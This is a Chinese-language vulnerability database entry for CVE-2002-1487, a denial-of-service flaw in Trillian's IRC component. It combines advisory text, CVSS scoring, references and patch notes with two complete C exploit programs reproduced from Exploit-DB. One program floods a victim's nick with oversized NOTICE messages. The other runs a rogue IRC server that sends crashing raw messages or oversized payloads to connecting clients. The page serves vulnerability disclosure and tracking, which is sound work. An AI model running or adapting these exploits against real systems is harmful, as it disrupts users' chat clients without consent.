CVE-2002-1487
CVSS5.0
发布时间 :2003-04-02 00:00:00
修订时间 :2008-09-05 16:30:43
NMCOES    

[原文]The IRC component of Trillian 0.73 and 0.74 allows remote malicious IRC servers to cause a denial of service (crash) by sending the raw messages (1) 206, (2) 211, (3) 213, (4) 214, (5) 215, (6) 217, (7) 218, (8) 243, (9) 302, (10) 317, (11) 324, (12) 332, (13) 333, (14) 352, and (15) 367.


[CNNVD]Trillian IRC Raw消息远程拒绝服务攻击漏洞(CNNVD-200304-041)

        
        Cerulean Studios Trillian是一个聊天程序,和多种即时通讯程序使用相同的接口,包括AIM、ICQ、Yahoo! Messenger、MSN Messenger和IRC。
        Trillian在处理部分IRC RAW消息时存在问题,远程攻击者可以利用这个漏洞对Trillian进行拒绝服务攻击。
        攻击者如果发送类似如下的RAW消息:
        206、211、213、214、215、217、218、243、302、317、324、332、333、352、367
        可使Trillian崩溃,IRC服务器发送的RAW格式必须如下:
        ':Server '
        其中是上面所列的RAW代码。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1487
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1487
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200304-041
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5775
(VENDOR_ADVISORY)  BID  5775
http://www.iss.net/security_center/static/10161.php
(VENDOR_ADVISORY)  XF  trillian-irc-raw-dos(10161)
http://archives.neohapsis.com/archives/bugtraq/2002-09/0268.html
(VENDOR_ADVISORY)  BUGTRAQ  20020922 *sigh* Trillian multiple DoS

- 漏洞信息

Trillian IRC Raw消息远程拒绝服务攻击漏洞
中危 其他
2003-04-02 00:00:00 2005-10-20 00:00:00
远程  
        
        Cerulean Studios Trillian是一个聊天程序,和多种即时通讯程序使用相同的接口,包括AIM、ICQ、Yahoo! Messenger、MSN Messenger和IRC。
        Trillian在处理部分IRC RAW消息时存在问题,远程攻击者可以利用这个漏洞对Trillian进行拒绝服务攻击。
        攻击者如果发送类似如下的RAW消息:
        206、211、213、214、215、217、218、243、302、317、324、332、333、352、367
        可使Trillian崩溃,IRC服务器发送的RAW格式必须如下:
        ':Server '
        其中是上面所列的RAW代码。
        

- 公告与补丁

        厂商补丁:
        Cerulean Studios
        ----------------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Cerulean Studios Trillian 0.74:
        Cerulean Studios Patch trillian-v0.74-patch-b.exe
        
        http://www.ceruleanstudios.com/trillian-v0.74-patch-b.exe

- 漏洞信息 (73)

Trillian 0.74 Remote Denial of Service Exploit (EDBID:73)
windows dos
2003-08-01 Verified
0 l0bstah
N/A [点击下载]
/*

[--------------------------------------------]
[:::::::::::::::::: trillian 0.7*(d patch)   ]
[:::::Denial:of:Service::simple:exploit::]
[-----------------------------[l0bstah]-----]
[usage ::                                           ]
[      : trillah name attacked-nick          ]
[                                                       ]
[comment:: after patch .74d, exploits,  ]
[         wich use damage (~4095 data)  ]
[         not work, but this exploit           ]
[         work at any patch.                    ]
[                                                       ]
[P.S. irc specification include rull:          ]
[510 characters maximum allowed for   ]
[the command and its parameters...     ]
[that is why szBuf has 570 length...       ]
[--------------------------------------------]

*/

 #include <winsock.h>
 #include <iostream.h>
 #include <stdio.h>
 #include <dos.h>

 #define port    4384
 #define bfsize  540
 #define rptimes 1000

 WSADATA     wsadata;
 SOCKADDR_IN sa;
 SOCKET      s;
 LPHOSTENT   lpHostEntry;
 int         SockAddr = sizeof(struct sockaddr);
 int         i, ports;
 char        szBuf[570];          // [damage data] 
 char        nick[50];            // <NICK> command 
 char        user[50];            // <USER> command 
 char        mode[50];            // <MODE> command 
 char        *cname = "trillah";  // your client name


int main(int argc, char **argv)
 {

   printf("::::::::::::::::::::::::::::::::::::\n");
   printf(": trillah - remote DoS exploit :::::\n");
   printf(":::::::::::::::::::::::::::[l0bstah]\n");

   if (argc < 3) 
   { printf("use: trillah dnsname nick\n"); return 0; }
   
   char *addr=argv[1];
   ports=port;

   if (WSAStartup(0x0101,&wsadata) == 0)
   {

        lpHostEntry = gethostbyname(addr);

        sa.sin_family = AF_INET;
        sa.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list);
        sa.sin_port = htons(ports);

        if ((s=socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
        {
        printf("Can't open socket! - #%d\n",WSAGetLastError());
        exit(0);
        }

        printf("connecting to irc server : %s...\n", addr);

        if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) == -1)
        {
        printf("Can't connect() - #%d\n",WSAGetLastError());
        exit(0);
        }       
        printf("connected... starting login session \n\n");

        //*** NICK <NICK>
        strcpy(nick, "NICK ");
        strcat(nick, cname);
        strcat(nick, "\n");
        send(s,
                nick,
                strlen(nick),
                0);

        printf(nick);

        //*** USER <mode> <unused> <realname>
        strcpy(user, "USER ");
        strcat(user, cname);
        strcat(user, " 0 127.0.0.1 : trilla\n");
        send(s,
                user,
                strlen(user),
                0);

        printf(user);

        sleep(1);

        //*** MODE <nick> (+|-*)
        strcpy(mode, "MODE ");
        strcat(mode, cname);
        strcat(mode, " +i\n");
        send(s,
                mode,
                strlen(mode),
                0);

        sleep(2);

        //**********DAMAGE****DATA*************//

        printf("Sending damage data...\n");
        strcat(szBuf, "NOTICE ");
        strcat(szBuf, argv[2]);
        strcat(szBuf, " :");
        for(i=0;i<=bfsize;i++) strcat(szBuf,"A");
        strcat(szBuf, "\n");


        for (i=0;i<=rptimes;i++)
        {

        send(s,
            szBuf,
            strlen(szBuf),
            0);
        }


        printf("attack complete....");

        //*************************************//

        closesocket(s);
        
        }

  WSACleanup();

}

// milw0rm.com [2003-08-01]
		

- 漏洞信息 (21819)

Trillian 0.74 IRC Raw Messages Denial Of Service Vulnerability (EDBID:21819)
windows dos
2002-09-22 Verified
0 Lance Fitz-Herbert
N/A [点击下载]
source: http://www.securityfocus.com/bid/5775/info

A vulnerability has been reported for Trillian. Reportedly, Trillian is prone to a denial of service condition when certain IRC raw messages are received by the client. 

This may be exploited by a malicious server.

/* Trillian-Dos.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits Multiple Trillian DoS Flaws:
      Raws 206, 211, 213, 214, 215, 217, 218, 243, 302, 317, 324, 332, 333,
352, 367
      Part Flaw
      Data length flaw.

   Tested On Version .74
   Compiles with Borland 5.5 Commandline Tools.

   These Examples Will Just DoS The Trillian Client,
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define SERVER ":server "
#define PART ":nick!ident@address PART\n"

int main(int argc, char *argv[]) {
		 SOCKET TempSock = SOCKET_ERROR;
		 WSADATA WsaDat;
		 SOCKADDR_IN Sockaddr;
		 int nRet;
		 char payload[4096];
		 if (argc < 2) {
		 		 usage();
		 		 return 1;
		 }
		 if ((!strcmp(argv[1],"raw")) && (argc < 3) || (strcmp(argv[1],"raw")) &&
(strcmp(argv[1],"part")) && (strcmp(argv[1],"data"))) {
		 		 usage();
		 		 return 1;
		 }

		 printf("Listening on port 6667 for connections....\n");
		 if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
        		 printf("ERROR: WSA Initialization failed.");
		 		 return 0;
		 }


		 /* Create Socket */
		 s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
		 if (s == INVALID_SOCKET) {
		 		 printf("ERROR: Could Not Create Socket. Exiting\n");
		 		 WSACleanup();
		 		 return 0;
		 }

		 Sockaddr.sin_port = htons(6667);
		 Sockaddr.sin_family = AF_INET;
		 Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
		 if (nRet == SOCKET_ERROR) {
		 		 printf("ERROR Binding Socket");
		 		 WSACleanup();
		 		 return 0;
		 }

		 /* Make Socket Listen */
		 if (listen(s, 10) == SOCKET_ERROR) {
		 		 printf("ERROR: Couldnt Make Listening Socket\n");
		 		 WSACleanup();
		 		 return 0;
		 }

		 while (TempSock == SOCKET_ERROR) {
		       TempSock = accept(s, NULL, NULL);
		 }

		 printf("Client Connected, Sending Payload\n");


		 if (!strcmp(argv[1],"part")) {
		 		 send(TempSock,PART,strlen(PART),0);
		 }
		 if (!strcmp(argv[1],"raw")) {
		 		 send(TempSock,SERVER,strlen(SERVER),0);
		 		 send(TempSock,argv[2],strlen(argv[2]),0);
		 		 send(TempSock,"\n",1,0);
		 }
		 if (!strcmp(argv[1],"data")) {
		 		 memset(payload,'A',4096);
		 		 send(TempSock,payload,strlen(payload),0);
		 }
		 printf("Exiting\n");
		 sleep(100);
		 WSACleanup();
		 return 0;
}

usage() {
		 		 printf("\nTrillian Multiple DoS Flaws\n");
		 		 printf("---------------------------\n");
		 		 printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
		 		 printf("Tested On Version .74\n\n");
		 		 printf("Usage: Trillian-Dos <type> [num]\n");
		 		 printf("Type: raw, part, data\n");
		 		 printf("Num : 206, 211, 213, 214, 215, 217, 218, 243, 302, 317, 324, 332,
333, 352, 367\n\n");
}		

- 漏洞信息

10799
Trillian IRC Plugin raw Message DoS
Remote / Network Access Denial of Service
Loss of Integrity, Loss of Availability
Exploit Public

- 漏洞描述

Trillian contains a flaw that may allow a remote denial of service. The issue is triggered when a specially crafted IRC message is sent containing one of many IRC raw string numbers, and will result in loss of availability for the service.

- 时间线

2002-09-22 2002-09-22
2002-09-22 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Cerulean Studios has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

Trillian IRC Raw Messages Denial Of Service Vulnerability
Failure to Handle Exceptional Conditions 5775
Yes No
2002-09-22 12:00:00 2009-07-11 05:06:00
Discovery of this vulnerability credited to "Lance Fitz-Herbert" <fitzies@hotmail.com>.

- 受影响的程序版本

Cerulean Studios Trillian 0.74

- 漏洞讨论

A vulnerability has been reported for Trillian. Reportedly, Trillian is prone to a denial of service condition when certain IRC raw messages are received by the client.

This may be exploited by a malicious server.

- 漏洞利用

An exploit has been provided by "Lance Fitz-Herbert" &lt;fitzies@hotmail.com&gt;.

- 解决方案

A patch is available:


Cerulean Studios Trillian 0.74

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站